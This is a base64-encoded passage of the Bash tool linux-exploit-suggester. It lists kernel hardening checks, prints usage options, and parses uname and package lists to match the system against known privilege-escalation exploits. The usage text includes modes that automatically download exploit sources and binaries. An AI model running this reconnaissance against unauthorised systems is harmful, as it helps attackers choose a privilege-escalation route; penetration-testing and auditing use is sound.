FT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogSGFyZGVuaW5nIGNvbW1vbiBzdHIvbWVtIGZ1bmN0aW9ucyBhZ2FpbnN0IGJ1ZmZlciBvdmVyZmxvd3MKYXZhaWxhYmxlOiBDT05GSUdfRk9SVElGWV9TT1VSQ0U9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2ZvcnRpZnlfc291cmNlLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCAvZGV2L21lbSBhY2Nlc3MKYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX0RFVk1FTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RyaWN0X2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmVzdHJpY3QgSS9PIGFjY2VzcyB0byAvZGV2L21lbQphdmFpbGFibGU6IENPTkZJR19JT19TVFJJQ1RfREVWTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9pb19zdHJpY3RfZGV2bWVtLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBIYXJkd2FyZS1iYXNlZCBwcm90ZWN0aW9uIGZlYXR1cmVzOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwZXJ2aXNvciBNb2RlIEV4ZWN1dGlvbiBQcm90ZWN0aW9uIChTTUVQKSBzdXBwb3J0CmF2YWlsYWJsZTogdmVyPj0zLjAKZW5hYmxlZDogY21kOmdyZXAgLXFpIHNtZXAgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NtZXAubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cGVydmlzb3IgTW9kZSBBY2Nlc3MgUHJldmVudGlvbiAoU01BUCkgc3VwcG9ydAphdmFpbGFibGU6IHZlcj49My43CmVuYWJsZWQ6IGNtZDpncmVwIC1xaSBzbWFwIC9wcm9jL2NwdWluZm8KYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbWFwLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiAzcmQgcGFydHkga2VybmVsIHByb3RlY3Rpb24gbWVjaGFuaXNtczoKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdyc2VjdXJpdHkKYXZhaWxhYmxlOiBDT05GSUdfR1JLRVJOU0VDPXkKZW5hYmxlZDogY21kOnRlc3QgLWMgL2Rldi9ncnNlYwpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUGFYCmF2YWlsYWJsZTogQ09ORklHX1BBWD15CmVuYWJsZWQ6IGNtZDp0ZXN0IC14IC9zYmluL3BheGN0bApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTGludXggS2VybmVsIFJ1bnRpbWUgR3VhcmQgKExLUkcpIGtlcm5lbCBtb2R1bGUKZW5hYmxlZDogY21kOnRlc3QgLWQgL3Byb2Mvc3lzL2xrcmcKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9sa3JnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpzZWN0aW9uOiBBdHRhY2sgU3VyZmFjZToKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVzZXIgbmFtZXNwYWNlcyBmb3IgdW5wcml2aWxlZ2VkIGFjY291bnRzCmF2YWlsYWJsZTogQ09ORklHX1VTRVJfTlM9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy91c2VyX25zLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBVbnByaXZpbGVnZWQgYWNjZXNzIHRvIGJwZigpIHN5c3RlbSBjYWxsCmF2YWlsYWJsZTogQ09ORklHX0JQRl9TWVNDQUxMPXkKZW5hYmxlZDogc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN5c2NhbGxzIGZpbHRlcmluZwphdmFpbGFibGU6IENPTkZJR19TRUNDT01QPXkKZW5hYmxlZDogY21kOmdyZXAgLWl3IFNlY2NvbXAgL3Byb2Mvc2VsZi9zdGF0dXMgfCBhd2sgJ3twcmludCBcJDJ9JwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2JwZl9zeXNjYWxsLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTdXBwb3J0IGZvciAvZGV2L21lbSBhY2Nlc3MKYXZhaWxhYmxlOiBDT05GSUdfREVWTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZXZtZW0ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cHBvcnQgZm9yIC9kZXYva21lbSBhY2Nlc3MKYXZhaWxhYmxlOiBDT05GSUdfREVWS01FTT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGV2a21lbS5tZApFT0YKKQoKCnZlcnNpb24oKSB7CiAgICBlY2hvICJsaW51eC1leHBsb2l0LXN1Z2dlc3RlciAiJFZFUlNJT04iLCBtemV0LCBodHRwczovL3otbGFicy5ldSwgTWFyY2ggMjAxOSIKfQoKdXNhZ2UoKSB7CiAgICBlY2hvICJMRVMgdmVyLiAkVkVSU0lPTiAoaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyKSBieSBAX216ZXRfIgogICAgZWNobwogICAgZWNobyAiVXNhZ2U6IGxpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyLnNoIFtPUFRJT05TXSIKICAgIGVjaG8KICAgIGVjaG8gIiAtViB8IC0tdmVyc2lvbiAgICAgICAgICAgICAgIC0gcHJpbnQgdmVyc2lvbiBvZiB0aGlzIHNjcmlwdCIKICAgIGVjaG8gIiAtaCB8IC0taGVscCAgICAgICAgICAgICAgICAgIC0gcHJpbnQgdGhpcyBoZWxwIgogICAgZWNobyAiIC1rIHwgLS1rZXJuZWwgPHZlcnNpb24+ICAgICAgLSBwcm92aWRlIGtlcm5lbCB2ZXJzaW9uIgogICAgZWNobyAiIC11IHwgLS11bmFtZSA8c3RyaW5nPiAgICAgICAgLSBwcm92aWRlICd1bmFtZSAtYScgc3RyaW5nIgogICAgZWNobyAiIC0tc2tpcC1tb3JlLWNoZWNrcyAgICAgICAgICAgLSBkbyBub3QgcGVyZm9ybSBhZGRpdGlvbmFsIGNoZWNrcyAoa2VybmVsIGNvbmZpZywgc3lzY3RsKSB0byBkZXRlcm1pbmUgaWYgZXhwbG9pdCBpcyBhcHBsaWNhYmxlIgogICAgZWNobyAiIC0tc2tpcC1wa2ctdmVyc2lvbnMgICAgICAgICAgLSBza2lwIGNoZWNraW5nIGZvciBleGFjdCB1c2Vyc3BhY2UgcGFja2FnZSB2ZXJzaW9uIChoZWxwcyB0byBhdm9pZCBmYWxzZSBuZWdhdGl2ZXMpIgogICAgZWNobyAiIC1wIHwgLS1wa2dsaXN0LWZpbGUgPGZpbGU+ICAgLSBwcm92aWRlIGZpbGUgd2l0aCAnZHBrZyAtbCcgb3IgJ3JwbSAtcWEnIGNvbW1hbmQgb3V0cHV0IgogICAgZWNobyAiIC0tY3ZlbGlzdC1maWxlIDxmaWxlPiAgICAgICAgLSBwcm92aWRlIGZpbGUgd2l0aCBMaW51eCBrZXJuZWwgQ1ZFcyBsaXN0IgogICAgZWNobyAiIC0tY2hlY2tzZWMgICAgICAgICAgICAgICAgICAgLSBsaXN0IHNlY3VyaXR5IHJlbGF0ZWQgZmVhdHVyZXMgZm9yIHlvdXIgSFcva2VybmVsIgogICAgZWNobyAiIC1zIHwgLS1mZXRjaC1zb3VyY2VzICAgICAgICAgLSBhdXRvbWF0aWNhbGx5IGRvd25sb2FkcyBzb3VyY2UgZm9yIG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtYiB8IC0tZmV0Y2gtYmluYXJpZXMgICAgICAgIC0gYXV0b21hdGljYWxseSBkb3dubG9hZHMgYmluYXJ5IGZvciBtYXRjaGVkIGV4cGxvaXQgaWYgYXZhaWxhYmxlIgogICAgZWNobyAiIC1mIHwgLS1mdWxsICAgICAgICAgICAgICAgICAgLSBzaG93IGZ1bGwgaW5mbyBhYm91dCBtYXRjaGVkIGV4cGxvaXQiCiAgICBlY2hvICIgLWcgfCAtLXNob3J0ICAgICAgICAgICAgICAgICAtIHNob3cgc2hvcnRlbiBpbmZvIGFib3V0IG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtLWtlcm5lbHNwYWNlLW9ubHkgICAgICAgICAgIC0gc2hvdyBvbmx5IGtlcm5lbCB2dWxuZXJhYmlsaXRpZXMiCiAgICBlY2hvICIgLS11c2Vyc3BhY2Utb25seSAgICAgICAgICAgICAtIHNob3cgb25seSB1c2Vyc3BhY2UgdnVsbmVyYWJpbGl0aWVzIgogICAgZWNobyAiIC1kIHwgLS1zaG93LWRvcyAgICAgICAgICAgICAgLSBzaG93IGFsc28gRG9TZXMgaW4gcmVzdWx0cyIKfQoKZXhpdFdpdGhFcnJNc2coKSB7CiAgICBlY2hvICIkMSIgMT4mMgogICAgZXhpdCAxCn0KCiMgZXh0cmFjdHMgYWxsIGluZm9ybWF0aW9uIGZyb20gb3V0cHV0IG9mICd1bmFtZSAtYScgY29tbWFuZApwYXJzZVVuYW1lKCkgewogICAgbG9jYWwgdW5hbWU9JDEKCiAgICBLRVJORUw9JChlY2hvICIkdW5hbWUiIHwgYXdrICd7cHJpbnQgJDN9JyB8IGN1dCAtZCAnLScgLWYgMSkKICAgIEtFUk5FTF9BTEw9JChlY2hvICIkdW5hbWUiIHwgYXdrICd7cHJpbnQgJDN9JykKICAgIEFSQ0g9JChlY2hvICIkdW5hbWUiIHwgYXdrICd7cHJpbnQgJChORi0xKX0nKQoKICAgIE9TPSIiCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnZGViJyAmJiBPUz0iZGViaWFuIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ3VidW50dScgJiYgT1M9InVidW50dSIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLUFSQ0gnICYmIE9TPSJhcmNoIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtZGVlcGluJyAmJiBPUz0iZGVlcGluIgogICAgZWNobyAiJHVuYW1lIiB8IGdyZXAgLXEgLWkgJ1wtTUFOSkFSTycgJiYgT1M9Im1hbmphcm8iCiAgICBlY2hvICIkdW5hbWUiIHwgZ3JlcCAtcSAtaSAnXC5mYycgJiYgT1M9ImZlZG9yYSIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLmVsJyAmJiBPUz0iUkhFTCIKICAgIGVjaG8gIiR1bmFtZSIgfCBncmVwIC1xIC1pICdcLm1nYScgJiYgT1M9Im1hZ2VpYSIKCiAgICAjICd1bmFtZSAtYScgb3V0cHV0IGRvZXNuJ3QgY29udGFpbiBkaXN0cmlidXRpb24gbnVtYmVyIChhdCBsZWFzdCBub3QgaW4gY2FzZSBvZiBhbGwgZGlzdHJvcykKfQoKZ2V0UGtnTGlzdCgpIHsKICAgIGxvY2FsIGRpc3Rybz0kMQogICAgbG9jYWwgcGtnbGlzdF9maWxlPSQyCiAgICAKICAgICMgdGFrZSBwYWNrYWdlIGxpc3RpbmcgZnJvbSBwcm92aWRlZCBmaWxlICYgZGV0ZWN0IGlmIGl0J3MgJ3JwbSAtcWEnIGxpc3Rpbmcgb3IgJ2Rwa2cgLWwnIG9yICdwYWNtYW4gLVEnIGxpc3Rpbmcgb2Ygbm90IHJlY29nbml6ZWQgbGlzdGluZwogICAgaWYgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIC1hIC1lICIkcGtnbGlzdF9maWxlIiBdOyB0aGVuCgogICAgICAgICMgdWJ1bnR1L2RlYmlhbiBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGlmIFsgJChoZWFkIC0xICIkcGtnbGlzdF9maWxlIiB8IGdyZXAgJ0Rlc2lyZWQ9VW5rbm93bi9JbnN0YWxsL1JlbW92ZS9QdXJnZS9Ib2xkJykgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIgfCBhd2sgJ3twcmludCAkMiItIiQzfScgfCBzZWQgJ3MvOmFtZDY0Ly9nJykKCiAgICAgICAgICAgIE9TPSJkZWJpYW4iCiAgICAgICAgICAgIFsgIiQoZ3JlcCB1YnVudHUgIiRwa2dsaXN0X2ZpbGUiKSIgXSAmJiBPUz0idWJ1bnR1IgogICAgICAgICMgcmVkaGF0IHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wuZWxbMS05XStbXC5fXScgIiRwa2dsaXN0X2ZpbGUiIHwgaGVhZCAtMSkiIF07IHRoZW4KICAgICAgICAgICAgUEtHX0xJU1Q9JChjYXQgIiRwa2dsaXN0X2ZpbGUiKQogICAgICAgICAgICBPUz0iUkhFTCIKICAgICAgICAjIGZlZG9yYSBwYWNrYWdlIGxpc3RpbmcgZmlsZQogICAgICAgIGVsaWYgWyAiJChncmVwIC1FICdcLmZjWzEtOV0rJ2kgIiRwa2dsaXN0X2ZpbGUiIHwgaGVhZCAtMSkiIF07IHRoZW4KICAgICAgICAgICAgUEtHX0xJU1Q9JChjYXQgIiRwa2dsaXN0X2ZpbGUiKQogICAgICAgICAgICBPUz0iZmVkb3JhIgogICAgICAgICMgbWFnZWlhIHBhY2thZ2UgbGlzdGluZyBmaWxlCiAgICAgICAgZWxpZiBbICIkKGdyZXAgLUUgJ1wubWdhWzEtOV0rJyAiJHBrZ2xpc3RfZmlsZSIgfCBoZWFkIC0xKSIgXTsgdGhlbgogICAgICAgICAgICBQS0dfTElTVD0kKGNhdCAiJHBrZ2xpc3RfZmlsZSIpCiAgICAgICAgICAgIE9TPSJtYWdlaWEiCiAgICAgICAgIyBwYWNtYW4gcGFja2FnZSBsaXN0aW5nIGZpbGUKICAgICAgICBlbGlmIFsgIiQoZ3JlcCAtRSAnXCBbMC05XStcLicgIiRwa2dsaXN0X2ZpbGUiIHwgaGVhZCAtMSkiIF07IHRoZW4KICAgICAgICAgICAgUEtHX0xJU1Q9JChjYXQgIiRwa2dsaXN0X2ZpbGUiIHwgYXdrICd7cHJpbnQgJDEiLSIkMn0nKQogICAgICAgICAgICBPUz0iYXJjaCIKICAgICAgICAjIGZpbGUgbm90IHJlY29nbml6ZWQgLSBza2lwcGluZwogICAgICAgIGVsc2UKICAgICAgICAgICAgUEtHX0xJU1Q9IiIKICAgICAgICBmaQoKICAgIGVsaWYgWyAiJGRpc3RybyIgPSAiZGViaWFuIiAtbyAiJGRpc3RybyIgPSAidWJ1bnR1IiAtbyAiJGRpc3RybyIgPSAiZGVlcGluIiBdOyB0aGVuCiAgICAgICAgUEtHX0xJU1Q9JChkcGtnIC1sIHwgYXdrICd7cHJpbnQgJDIiLSIkM30nIHwgc2VkICdzLzphbWQ2NC8vZycpCiAgICBlbGlmIFsgIiRkaXN0cm8iID0gIlJIRUwiIC1vICIkZGlzdHJvIiA9ICJmZWRvcmEiIC1vICIkZGlzdHJvIiA9ICJtYWdlaWEiIF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKHJwbSAtcWEpCiAgICBlbGlmIFsgIiRkaXN0cm8iID0gImFyY2giIC1vICIkZGlzdHJvIiA9ICJtYW5qYXJvIiBdOyB0aGVuCiAgICAgICAgUEtHX0xJU1Q9JChwYWNtYW4gLVEgfCBhd2sgJ3twcmludCAkMSItIiQyfScpCiAgICBlbGlmIFsgLXggL3Vzci9iaW4vZXF1ZXJ5IF07IHRoZW4KICAgICAgICBQS0dfTElTVD0kKC91c3IvYmluL2VxdWVyeSAtLXF1aWV0IGxpc3QgJyonIC1GICckbmFtZTokdmVyc2lvbicgfCBjdXQgLWQvIC1mMi0gfCBhd2sgJ3twcmludCAkMSI6IiQyfScpCiAgICBlbHNlCiAgICAgICAgIyBwYWNrYWdlcyBsaXN0aW5nIG5vdCBhdmFpbGFibGUKICAgICAgICBQS0dfTElTVD0iIgogICAgZmkKfQoKIyBmcm9tOiBodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy80MDIzODMwL2hvdy1jb21wYXJlLXR3by1zdHJpbmdzLWluLWRvdC1zZXBhcmF0ZWQtdmVyc2lvbi1mb3JtYXQtaW4tYmFzaAp2ZXJDb21wYXJpc2lvbigpIHsKCiAgICBpZiBbWyAkMSA9PSAkMiBdXQogICAgdGhlbgogICAgICAgIHJldHVybiAwCiAgICBmaQoKICAgIGxvY2FsIElGUz0uCiAgICBsb2NhbCBpIHZlcjE9KCQxKSB2ZXIyPSgkMikKCiAgICAjIGZpbGwgZW1wdHkgZmllbGRzIGluIHZlcjEgd2l0aCB6ZXJvcwogICAgZm9yICgoaT0keyN2ZXIxW0BdfTsgaTwkeyN2ZXIyW0BdfTsgaSsrKSkKICAgIGRvCiAgICAgICAgdmVyMVtpXT0wCiAgICBkb25lCgogICAgZm9yICgoaT0wOyBpPCR7I3ZlcjFbQF19OyBpKyspKQogICAgZG8KICAgICAgICBpZiBbWyAteiAke3ZlcjJbaV19IF1dCiAgICAgICAgdGhlbgogICAgICAgICAgICAjIGZpbGwgZW1wdHkgZmllbGRzIGluIHZlcjIgd2l0aCB6ZXJvcwogICAgICAgICAgICB2ZXIyW2ldPTAKICAgICAgICBmaQogICAgICAgIGlmICgoMTAjJHt2ZXIxW2ldfSA+IDEwIyR7dmVyMltpXX0pKQogICAgICAgIHRoZW4KICAgICAgICAgICAgcmV0dXJuIDEKICAgICAgICBmaQogICAgICAgIGlmICgoMTAjJHt2ZXIxW2ldfSA8IDEwIyR7dmVyMltpXX0pKQogICAgICAgIHRoZW4KICAgICAgICAgICAgcmV0dXJuIDIKICAgICAgICBmaQogICAgZG9uZQoKICAgIHJldHVybiAwCn0KCmRvVmVyc2lvbkNvbXBhcmlzaW9uKCkgewogICAgbG9jYWwgcmVxVmVyc2lvbj0iJDEiCiAgICBsb2NhbCByZXFSZWxhdGlvbj0iJDIiCiAgICBsb2NhbCBjdXJyZW50VmVyc2lvbj0iJDMiCgogICAgdmVyQ29tcGFyaXNpb24gJGN1cnJlbnRWZXJzaW9uICRyZXFWZXJzaW9uCiAgICBjYXNlICQ/IGluCiAgICAgICAgMCkgY3VycmVudFJlbGF0aW9uPSc9Jzs7CiAgICAgICAgMSkgY3VycmVudFJlbGF0aW9uPSc+Jzs7CiAgICAgICAgMikgY3VycmVudFJlbGF0aW9uPSc8Jzs7CiAgICBlc2FjCgogICAgaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPSIgXTsgdGhlbgogICAgICAgIFsgJGN1cnJlbnRSZWxhdGlvbiA9PSAiPSIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkcmVxUmVsYXRpb24iID09ICI+IiBdOyB0aGVuCiAgICAgICAgWyAkY3VycmVudFJlbGF0aW9uID09ICI+IiBdICYmIHJldHVybiAwCiAgICBlbGlmIFsgIiRyZXFSZWxhdGlvbiIgPT0gIjwiIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIjwiIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPj0iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj0iIF0gJiYgcmV0dXJuIDAKICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj4iIF0gJiYgcmV0dXJuIDAKICAgIGVsaWYgWyAiJHJlcVJlbGF0aW9uIiA9PSAiPD0iIF07IHRoZW4KICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIj0iIF0gJiYgcmV0dXJuIDAKICAgICAgICBbICRjdXJyZW50UmVsYXRpb24gPT0gIjwiIF0gJiYgcmV0dXJuIDAKICAgIGZpCn0KCmNvbXBhcmVWYWx1ZXMoKSB7CiAgICBjdXJWYWw9JDEKICAgIHZhbD0kMgogICAgc2lnbj0kMwoKICAgIGlmIFsgIiRzaWduIiA9PSAiPT0iIF07IHRoZW4KICAgICAgICBbICIkdmFsIiA9PSAiJGN1clZhbCIgXSAmJiByZXR1cm4gMAogICAgZWxpZiBbICIkc2lnbiIgPT0gIiE9IiBdOyB0aGVuCiAgICAgICAgWyAiJHZhbCIgIT0gIiRjdXJWYWwiIF0gJiYgcmV0dXJuIDAKICAgIGZpCgogICAgcmV0dXJuIDEKfQoKY2hlY2tSZXF1aXJlbWVudCgpIHsKICAgICNlY2hvICJDaGVja2luZyByZXF1aXJlbWVudDogJDEiCiAgICBsb2NhbCBJTj0iJDEiCiAgICBsb2NhbCBwa2dOYW1lPSIkezI6NH0iCgogICAgaWYgW1sgIiRJTiIgPX4gXnBrZz0uKiQgXV07IHRoZW4KCiAgICAgICAgIyBhbHdheXMgdHJ1ZSBmb3IgTGludXggT1MKICAgICAgICBbICR7cGtnTmFtZX0gPT0gImxpbnV4LWtlcm5lbCIgXSAmJiByZXR1cm4gMAoKICAgICAgICAjIHZlcmlmeSBpZiBwYWNrYWdlIGlzIHByZXNlbnQgCiAgICAgICAgcGtnPSQoZWNobyAiJFBLR19MSVNUIiB8IGdyZXAgLUUgLWkgIl4kcGtnTmFtZS1bMC05XSsiIHwgaGVhZCAtMSkKICAgICAgICBpZiBbIC1uICIkcGtnIiBdOyB0aGVuCiAgICAgICAgICAgIHJldHVybiAwCiAgICAgICAgZmkKCiAgICBlbGlmIFtbICIkSU4iID1+IF52ZXIuKiQgXV07IHRoZW4KICAgICAgICB2ZXJzaW9uPSIke0lOLy9bXjAtOS5dL30iCiAgICAgICAgcmVzdD0iJHtJTiN2ZXJ9IgogICAgICAgIG9wZXJhdG9yPSR7cmVzdCUkdmVyc2lvbn0KCiAgICAgICAgaWYgWyAiJHBrZ05hbWUiID09ICJsaW51eC1rZXJuZWwiIC1vICIkb3B0X2NoZWNrc2VjX21vZGUiID09ICJ0cnVlIiBdOyB0aGVuCgogICAgICAgICAgICAjIGZvciAtLWN2ZWxpc3QtZmlsZSBtb2RlIHNraXAga2VybmVsIHZlcnNpb24gY29tcGFyaXNpb24KICAgICAgICAgICAgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgICAgIGRvVmVyc2lvbkNvbXBhcmlzaW9uICR2ZXJzaW9uICRvcGVyYXRvciAkS0VSTkVMICYmIHJldHVybiAwCiAgICAgICAgZWxzZQogICAgICAgICAgICAjIGV4dHJhY3QgcGFja2FnZSB2ZXJzaW9uIGFuZCBjaGVjayBpZiByZXF1aXJlbW50IGlzIHRydWUKICAgICAgICAgICAgcGtnPSQoZWNobyAiJFBLR19MSVNUIiB8IGdyZXAgLUUgLWkgIl4kcGtnTmFtZS1bMC05XSsiIHwgaGVhZCAtMSkKCiAgICAgICAgICAgICMgc2tpcCAoaWYgcnVuIHdpdGggLS1za2lwLXBrZy12ZXJzaW9ucykgdmVyc2lvbiBjaGVja2luZyBpZiBwYWNrYWdlIHdpdGggZ2l2ZW4gbmFtZSBpcyBpbnN0YWxsZWQKICAgICAgICAgICAgWyAiJG9wdF9za2lwX3BrZ192ZXJzaW9ucyIgPSAidHJ1ZSIgLWEgLW4gIiRwa2ciIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgICAgICMgdmVyc2lvbmluZzoKICAgICAgICAgICAgI2VjaG8gInBrZzogJHBrZyIKICAgICAgICAgICAgcGtnVmVyc2lvbj0kKGVjaG8gIiRwa2ciIHwgZ3JlcCAtRSAtaSAtbyAtZSAnLVtcLjAtOVwrOnBdK1stXCtdJyB8IGN1dCAtZCc6JyAtZjIgfCBzZWQgJ3MvW1wrLV0vL2cnIHwgc2VkICdzL3BbMC05XS8vZycpCiAgICAgICAgICAgICNlY2hvICJ2ZXJzaW9uOiAkcGtnVmVyc2lvbiIKICAgICAgICAgICAgI2VjaG8gIm9wZXJhdG9yOiAkb3BlcmF0b3IiCiAgICAgICAgICAgICNlY2hvICJyZXF1aXJlZCB2ZXJzaW9uOiAkdmVyc2lvbiIKICAgICAgICAgICAgI2VjaG8KICAgICAgICAgICAgZG9WZXJzaW9uQ29tcGFyaXNpb24gJHZlcnNpb24gJG9wZXJhdG9yICRwa2dWZXJzaW9uICYmIHJldHVybiAwCiAgICAgICAgZmkKICAgIGVsaWYgW1sgIiRJTiIgPX4gXng4Nl82NCQgXV0gJiYgWyAiJEFSQ0giID09ICJ4ODZfNjQiIC1vICIkQVJDSCIgPT0gIiIgXTsgdGhlbgogICAgICAgIHJldHVybiAwCiAgICBlbGlmIFtbICIkSU4iID1+IF54ODYkIF1dICYmIFsgIiRBUkNIIiA9PSAiaTM4NiIgLW8gIiRBUkNIIiA9PSAiaTY4NiIgLW8gIiRBUkNIIiA9PSAiIiBdOyB0aGVuCiAgICAgICAgcmV0dXJuIDAKICAgIGVsaWYgW1sgIiRJTiIgPX4gXkNPTkZJR18uKiQgXV07IHRoZW4KCiAgICAgICAgIyBza2lwIGlmIGNoZWNrIGlzIG5vdCBhcHBsaWNhYmxlICgtayBvciAtLXVuYW1lIG9yIC1wIHNldCkgb3IgaWYgdXNlciBzYWlkIHNvICgtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9ICJ0cnVlIiBdICYmIHJldHVybiAwCgogICAgICAgICMgaWYga2VybmVsIGNvbmZpZyBJUyBhdmFpbGFibGU6CiAgICAgICAgaWYgWyAtbiAiJEtDT05GSUciIF07IHRoZW4KICAgICAgICAgICAgaWYgJEtDT05GSUcgfCBncmVwIC1FIC1xaSAkSU47IHRoZW4KICAgICAgICAgICAgICAgIHJldHVybiAwOwogICAgICAgICAgICAjIHJlcXVpcmVkIG9wdGlvbiB3YXNuJ3QgZm91bmQsIGV4cGxvaXQgaXMgbm90IGFwcGxpY2FibGUKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgcmV0dXJuIDE7CiAgICAgICAgICAgIGZpCiAgICAgICAgIyBjb25maWcgaXMgbm90IGF2YWlsYWJsZQogICAgICAgIGVsc2UKICAgICAgICAgICAgcmV0dXJuIDA7CiAgICAgICAgZmkKICAgIGVsaWYgW1sgIiRJTiIgPX4gXnN5c2N0bDouKiQgXV07IHRoZW4KCiAgICAgICAgIyBza2lwIGlmIGNoZWNrIGlzIG5vdCBhcHBsaWNhYmxlICgtayBvciAtLXVuYW1lIG9yIC1wIG1vZGVzKSBvciBpZiB1c2VyIHNhaWQgc28gKC0tc2tpcC1tb3JlLWNoZWNrcykKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gInRydWUiIF0gJiYgcmV0dXJuIDAKCiAgICAgICAgc3lzY3RsQ29uZGl0aW9uPSIke0lOOjd9IgoKICAgICAgICAjIGV4dHJhY3Qgc3lzY3RsIGVudHJ5LCByZWxhdGlvbiBzaWduIGFuZCByZXF1aXJlZCB2YWx1ZQogICAgICAgIGlmIGVjaG8gJHN5c2N0bENvbmRpdGlvbiB8IGdyZXAgLXFpICIhPSI7IHRoZW4KICAgICAgICAgICAgc2lnbj0iIT0iCiAgICAgICAgZWxpZiBlY2hvICRzeXN